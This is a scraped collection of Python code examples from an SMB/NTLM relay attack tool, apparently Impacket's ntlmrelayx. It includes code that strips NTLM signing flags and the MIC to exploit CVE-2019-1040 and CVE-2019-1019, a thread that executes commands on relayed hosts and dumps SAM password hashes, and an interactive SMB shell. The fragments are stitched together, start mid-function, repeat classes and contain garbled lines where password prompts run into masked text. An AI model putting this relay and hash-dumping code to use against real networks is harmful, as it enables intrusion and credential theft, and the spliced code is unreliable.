            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
            sessionSetup['Data']['Account'] = sessionSetupData['Account']
            sessionSetup['Data']['PrimaryDomain'] = sessionSetupData[
                'PrimaryDomain']
            sessionSetup['Data']['NativeOS'] = 'Unix'
            sessionSetup['Data']['NativeLanMan'] = 'Samba'

            smb.addCommand(sessionSetup)

            v1client.sendSMB(smb)
            smb = v1client.recvSMB()
            try:
                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
            except:
                return None, STATUS_LOGON_FAILURE
            else:
                v1client.set_uid(smb['Uid'])
                return smb, STATUS_SUCCESS
        else:
            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
            clientResponse = None
            errorCode = STATUS_ACCESS_DENIED

        return clientResponse, errorCode

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            authMessage = NTLMAuthChallengeResponse()
            authMessage.fromString(authenticateMessageBlob)
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            authenticateMessageBlob = authMessage.getData()

        if unpack('B', authenticateMessageBlob[:1]
                  )[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob
            authData = respToken2.getData()
        else:
            authData = authenticateMessageBlob

        signingKey = None
        if self.serverConfig.remove_target:
            # Trying to exploit CVE-2019-1019
            # Discovery and Implementation by @simakov_marina and @YaronZi
            respToken2 = SPNEGO_NegTokenResp(authData)
            authenticateMessageBlob = respToken2['ResponseToken']

            errorCode, signingKey = self.netlogonSessionKey(authData)

            # Recalculate MIC
            res = NTLMAuthChallengeResponse()
            res.fromString(authenticateMessageBlob)

            newAuthBlob = authenticateMessageBlob[
                0:0x48] + b'\x00' * 16 + authenticateMessageBlob[0x58:]
            relay_MIC = hmac_md5(
                signingKey,
                self.negotiateMessage + self.challengeMessage + newAuthBlob)

            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob[
                0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
            authData = respToken2.getData()

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)

        if signingKey:
            logging.info("Enabling session signing")
            self.session._SMBConnection.set_session_key(signingKey)

        return token, errorCode

    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        # Reusing the previous structure
        sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
        sessionSetup['Buffer'] = authenticateMessageBlob

        packetID = v2client.sendSMB(packet)
        packet = v2client.recvSMB(packetID)

        return packet, packet['Status']

    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
        smb['Uid'] = v1client.get_uid()

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        sessionSetup['Parameters']['SecurityBlobLength'] = len(
            authenticateMessageBlob)
        sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)

        smb = v1client.recvSMB()

        errorCode = smb['ErrorCode'] << 16
        errorCode += smb['_reserved'] << 8
        errorCode += smb['ErrorClass']

        return smb, errorCode

    def getStandardSecurityChallenge(self):
        if self.session.getDialect() == SMB_DIALECT:
            return self.session.getSMBServer().get_encryption_key()
        else:
            return None

    def isAdmin(self):
        rpctransport = SMBTransport(self.session.getRemoteHost(),
                                    445,
                                    r'\svcctl',
                                    smb_connection=self.session)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(
                    dce, '{}\x00'.format(self.target.hostname),
                    'ServicesActive\x00', 0xF003F)
                return "TRUE"
            except scmr.DCERPCException as e:
                pass
        return "FALSE"
Example #10
0
class SMBAttack(Thread):
    def __init__(self, config, SMBClient, username):
        Thread.__init__(self)
        self.daemon = True
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.config = config
        self.__answerTMP = ''
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(
                    SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            logging.info(
                'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
                % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,
                                           self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer(
                    ).get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(
                        flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something went wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(
                        self.config.command)
                    logging.info("Executed specified command on host: %s",
                                 self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
                                                 self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding,
                                                  'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() +
                                     '_samhashes')
                    logging.info("Done dumping SAM hashes for host: %s",
                                 self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Example #11
0
class MiniImpacketShell(cmd.Cmd):
    def __init__(self, smbClient, tcpShell=None):
        #If the tcpShell parameter is passed (used in ntlmrelayx),
        # all input and output is redirected to a tcp socket
        # instead of to stdin / stdout
        if tcpShell is not None:
            cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)
            sys.stdout = tcpShell.stdout
            sys.stdin = tcpShell.stdin
            sys.stderr = tcpShell.stdout
            self.use_rawinput = False
            self.shell = tcpShell
        else:
            cmd.Cmd.__init__(self)
            self.shell = None

        self.prompt = '# '
        self.smb = smbClient
        self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()
        self.tid = None
        self.intro = 'Type help for list of commands'
        self.pwd = ''
        self.share = None
        self.loggedIn = True
        self.last_output = None
        self.completion = []

    def emptyline(self):
        pass

    def precmd(self, line):
        # switch to unicode
        return line

    def onecmd(self,s):
        retVal = False
        try:
           retVal = cmd.Cmd.onecmd(self,s)
        except Exception as e:
           LOG.error(e)
           LOG.debug('Exception info', exc_info=True)

        return retVal

    def do_exit(self,line):
        if self.shell is not None:
            self.shell.close()
        return True

    def do_shell(self, line):
        output = os.popen(line).read()
        print(output)
        self.last_output = output

    def do_help(self,line):
        print("""
 open {host,port=445} - opens a SMB connection against the target host/port
 login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
 kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
 login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
 logoff - logs off
 shares - list available shares
 use {sharename} - connect to an specific share
 cd {path} - changes the current directory to {path}
 lcd {path} - changes the current local directory to {path}
 pwd - shows current remote directory
 password - changes the user password, the new password will be prompted for input
 ls {wildcard} - lists all the files in the current directory
 rm {file} - removes the selected file
 mkdir {dirname} - creates the directory under the current path
 rmdir {dirname} - removes the directory under the current path
 put {filename} - uploads the filename into the current path
 get {filename} - downloads the filename from the current path
 mget {mask} - downloads all files from the current directory matching the provided mask
 cat {filename} - reads the filename from the current path
 mount {target,path} - creates a mount point from {path} to {target} (admin required)
 umount {path} - removes the mount point at {path} without deleting the directory (admin required)
 list_snapshots {path} - lists the vss snapshots for the specified path
 info - returns NetrServerInfo main results
 who - returns the sessions currently connected at the target host (admin required)
 close - closes the current SMB Session
 exit - terminates the server process (and this session)

""")

    def do_password(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        from getpass import getpass
        newPassword = getpass("New Password:"******"SMBv1 dialect used")
        elif dialect == SMB2_DIALECT_002:
            LOG.info("SMBv2.0 dialect used")
        elif dialect == SMB2_DIALECT_21:
            LOG.info("SMBv2.1 dialect used")
        else:
            LOG.info("SMBv3.0 dialect used")

        self.share = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None

    def do_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_kerberos_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if domain == '':
            LOG.error("Domain must be specified for Kerberos login")
            return

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_login_hash(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           hashes = l[1]
        else:
           LOG.error("Hashes needed. Format is lmhash:nthash")
           return

        if username.find('/') > 0:
           domain, username = username.split('/')

        lmhash, nthash = hashes.split(':')

        self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
        self.username = username
        self.lmhash = lmhash
        self.nthash = nthash

        if self.smb.isGuestSession() > 0:
            LOG.info("GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_logoff(self, line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        self.smb.logoff()
        del self.smb
        self.share = None
        self.smb = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None

    def do_info(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrServerGetInfo(dce, 102)

        print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
        print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
        print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
        print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
        print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
        print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])

    def do_who(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)

        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
            print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
            session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
            session['sesi10_idle_time']))

    def do_shares(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        resp = self.smb.listShares()
        for i in range(len(resp)):
            print(resp[i]['shi1_netname'][:-1])

    def do_use(self,line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        self.share = line
        self.tid = self.smb.connectTree(line)
        self.pwd = '\\'
        self.do_ls('', False)

    def complete_cd(self, text, line, begidx, endidx):
        return self.complete_get(text, line, begidx, endidx, include = 2)

    def do_cd(self, line):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = line.replace('/','\\')
        oldpwd = self.pwd
        if p[0] == '\\':
           self.pwd = line
        else:
           self.pwd = ntpath.join(self.pwd, line)
        self.pwd = ntpath.normpath(self.pwd)
        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA |
                                   FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE )
            self.smb.closeFile(self.tid,fid)
        except SessionError:
            self.pwd = oldpwd
            raise

    def do_lcd(self, s):
        print(s)
        if s == '':
           print(os.getcwd())
        else:
           os.chdir(s)

    def do_pwd(self,line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        print(self.pwd)

    def do_ls(self, wildcard, display = True):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        if self.tid is None:
            LOG.error("No share selected")
            return
        if wildcard == '':
           pwd = ntpath.join(self.pwd,'*')
        else:
           pwd = ntpath.join(self.pwd, wildcard)
        self.completion = []
        pwd = pwd.replace('/','\\')
        pwd = ntpath.normpath(pwd)
        for f in self.smb.listPath(self.share, pwd):
            if display is True:
                print("%crw-rw-rw- %10d  %s %s" % (
                'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
                f.get_longname()))
            self.completion.append((f.get_longname(), f.is_directory()))


    def do_rm(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        f = ntpath.join(self.pwd, filename)
        file = f.replace('/','\\')
        self.smb.deleteFile(self.share, file)

    def do_mkdir(self, path):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = ntpath.join(self.pwd, path)
        pathname = p.replace('/','\\')
        self.smb.createDirectory(self.share,pathname)

    def do_rmdir(self, path):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = ntpath.join(self.pwd, path)
        pathname = p.replace('/','\\')
        self.smb.deleteDirectory(self.share, pathname)

    def do_put(self, pathname):
        if self.tid is None:
            LOG.error("No share selected")
            return
        src_path = pathname
        dst_name = os.path.basename(src_path)

        fh = open(pathname, 'rb')
        f = ntpath.join(self.pwd,dst_name)
        finalpath = f.replace('/','\\')
        self.smb.putFile(self.share, finalpath, fh.read)
        fh.close()

    def complete_get(self, text, line, begidx, endidx, include = 1):
        # include means
        # 1 just files
        # 2 just directories
        p = line.replace('/','\\')
        if p.find('\\') < 0:
            items = []
            if include == 1:
                mask = 0
            else:
                mask = 0x010
            for i in self.completion:
                if i[1] == mask:
                    items.append(i[0])
            if text:
                return  [
                    item for item in items
                    if item.upper().startswith(text.upper())
                ]
            else:
                return items

    def do_mget(self, mask):
        if mask == '':
            LOG.error("A mask must be provided")
            return
        if self.tid is None:
            LOG.error("No share selected")
            return
        self.do_ls(mask,display=False)
        if len(self.completion) == 0:
            LOG.error("No files found matching the provided mask")
            return
        for file_tuple in self.completion:
            if file_tuple[1] == 0:
                filename = file_tuple[0]
                filename = filename.replace('/', '\\')
                fh = open(ntpath.basename(filename), 'wb')
                pathname = ntpath.join(self.pwd, filename)
                try:
                    LOG.info("Downloading %s" % (filename))
                    self.smb.getFile(self.share, pathname, fh.write)
                except:
                    fh.close()
                    os.remove(filename)
                    raise
                fh.close()

    def do_get(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        filename = filename.replace('/','\\')
        fh = open(ntpath.basename(filename),'wb')
        pathname = ntpath.join(self.pwd,filename)
        try:
            self.smb.getFile(self.share, pathname, fh.write)
        except:
            fh.close()
            os.remove(filename)
            raise
        fh.close()

    def do_cat(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        filename = filename.replace('/','\\')
        fh = BytesIO()
        pathname = ntpath.join(self.pwd,filename)
        try:
            self.smb.getFile(self.share, pathname, fh.write)
        except:
            raise
        output = fh.getvalue()
        encoding = ""  # chardet.detect(output)["encoding"]
        error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?"
        if encoding:
            try:
                print(output.decode(encoding))
            except:
                print(error_msg)
            finally:
                fh.close()
        else:
            print(error_msg)
            fh.close()

    def do_close(self, line):
        self.do_logoff(line)

    def do_list_snapshots(self, line):
        l = line.split(' ')
        if len(l) > 0:
            pathName= l[0].replace('/','\\')

        # Relative or absolute path?
        if pathName.startswith('\\') is not True:
            pathName = ntpath.join(self.pwd, pathName)

        snapshotList = self.smb.listSnapshots(self.tid, pathName)

        if not snapshotList:
            print("No snapshots found")
            return

        for timestamp in snapshotList:
            print(timestamp)

    def do_mount(self, line):
        l = line.split(' ')
        if len(l) > 1:
            target  = l[0].replace('/','\\')
            pathName= l[1].replace('/','\\')

        # Relative or absolute path?
        if pathName.startswith('\\') is not True:
            pathName = ntpath.join(self.pwd, pathName)

        self.smb.createMountPoint(self.tid, pathName, target)

    def do_umount(self, mountpoint):
        mountpoint = mountpoint.replace('/','\\')

        # Relative or absolute path?
        if mountpoint.startswith('\\') is not True:
            mountpoint = ntpath.join(self.pwd, mountpoint)

        mountPath = ntpath.join(self.pwd, mountpoint)

        self.smb.removeMountPoint(self.tid, mountPath)

    def do_EOF(self, line):
        print('Bye!\n')
        return True
class SMBRelayClient(ProtocolClient):
    PLUGIN_NAME = "SMB"

    def __init__(self,
                 serverConfig,
                 target,
                 targetPort=445,
                 extendedSecurity=True):
        ProtocolClient.__init__(self, serverConfig, target, targetPort,
                                extendedSecurity)
        self.extendedSecurity = extendedSecurity

        self.domainIp = None
        self.machineAccount = None
        self.machineHashes = None
        self.sessionData = {}

        self.keepAliveHits = 1

    def keepAlive(self):
        # SMB Keep Alive more or less every 5 minutes
        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
            # Time to send a packet
            # Just a tree connect / disconnect to avoid the session timeout
            tid = self.session.connectTree('IPC$')
            self.session.disconnectTree(tid)
            self.keepAliveHits = 1
        else:
            self.keepAliveHits += 1

    def killConnection(self):
        if self.session is not None:
            self.session.close()
            self.session = None

    def initConnection(self):
        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     manualNegotiate=True)
        #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES

        packet = self.session.negotiateSessionWildcard(
            None,
            self.targetHost,
            self.targetHost,
            self.targetPort,
            60,
            self.extendedSecurity,
            flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
            flags2=flags2,
            data=data)
        if packet[0] == '\xfe':
            smbClient = MYSMB3(self.targetHost,
                               self.targetPort,
                               self.extendedSecurity,
                               nmbSession=self.session.getNMBServer(),
                               negPacket=packet)
            pass
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost,
                              self.targetPort,
                              self.extendedSecurity,
                              nmbSession=self.session.getNMBServer(),
                              negPacket=packet)

        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     existingConnection=smbClient,
                                     manualNegotiate=True)

        return True

    def setUid(self, uid):
        self._uid = uid

    def sendNegotiate(self, negotiateMessage):
        negotiate = NTLMAuthNegotiate()
        negotiate.fromString(negotiateMessage)
        #Remove the signing flag
        negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge

        return challenge

    def sendNegotiatev2(self, negotiateMessage):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        # Let's build a NegTokenInit with the NTLMSSP
        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]
        blob['MechToken'] = str(negotiateMessage)

        sessionSetup['SecurityBufferLength'] = len(blob)
        sessionSetup['Buffer'] = blob.getData()

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        packetID = v2client.sendSMB(packet)
        ans = v2client.recvSMB(packetID)
        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
            v2client._Session['SessionID'] = ans['SessionID']
            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
            return respToken['ResponseToken']

        return False

    def sendNegotiatev1(self, negotiateMessage):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]
        blob['MechToken'] = str(negotiateMessage)

        sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
        sessionSetup['Parameters'].getData()
        sessionSetup['Data']['SecurityBlob'] = blob.getData()

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)
        smb = v1client.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            LOG.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            v1client.set_uid(smb['Uid'])

            # Now we have to extract the blob to continue the auth process
            sessionResponse = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
                sessionResponse['Parameters'])
            sessionData = SMBSessionSetupAndX_Extended_Response_Data(
                flags=smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters[
                'SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            return respToken['ResponseToken']

    def sendStandardSecurityAuth(self, sessionSetupData):
        v1client = self.session.getSMBServer()
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
        if sessionSetupData['Account'] != '':
            smb = NewSMBPacket()
            smb['Flags1'] = 8

            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
            sessionSetup['Data'] = SMBSessionSetupAndX_Data()

            sessionSetup['Parameters']['MaxBuffer'] = 65535
            sessionSetup['Parameters']['MaxMpxCount'] = 2
            sessionSetup['Parameters']['VCNumber'] = os.getpid()
            sessionSetup['Parameters'][
                'SessionKey'] = v1client._dialects_parameters['SessionKey']
            sessionSetup['Parameters']['AnsiPwdLength'] = len(
                sessionSetupData['AnsiPwd'])
            sessionSetup['Parameters']['UnicodePwdLength'] = len(
                sessionSetupData['UnicodePwd'])
            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE

            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
            sessionSetup['Data']['Account'] = str(sessionSetupData['Account'])
            sessionSetup['Data']['PrimaryDomain'] = str(
                sessionSetupData['PrimaryDomain'])
            sessionSetup['Data']['NativeOS'] = 'Unix'
            sessionSetup['Data']['NativeLanMan'] = 'Samba'

            smb.addCommand(sessionSetup)

            v1client.sendSMB(smb)
            smb = v1client.recvSMB()
            try:
                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
            except:
                return None, STATUS_LOGON_FAILURE
            else:
                v1client.set_uid(smb['Uid'])
                return smb, STATUS_SUCCESS
        else:
            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
            clientResponse = None
            errorCode = STATUS_ACCESS_DENIED

        return clientResponse, errorCode

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B',
                  str(authenticateMessageBlob)
                  [:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = str(authenticateMessageBlob)
            authData = respToken2.getData()
        else:
            authData = str(authenticateMessageBlob)

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)
        return token, errorCode

